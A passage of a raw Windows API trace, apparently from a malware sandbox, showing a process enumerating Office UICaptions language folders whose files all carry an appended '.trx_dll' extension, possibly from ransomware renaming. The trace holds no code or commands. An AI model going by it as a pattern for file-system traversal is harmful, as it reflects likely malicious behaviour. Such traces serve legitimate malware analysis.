lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.546] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.546] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.546] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 0 [0091.547] GetLastError () returned 0x12 [0091.547] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.547] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 0 [0091.548] GetLastError () returned 0x12 [0091.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb7c8) returned 1 [0091.548] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.550] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0091.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.550] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.550] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.551] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.551] NtClose (Handle=0x16c) returned 0x0 [0091.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb7c8 [0091.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.552] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.553] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.554] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb7c8) returned 1 [0091.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7038 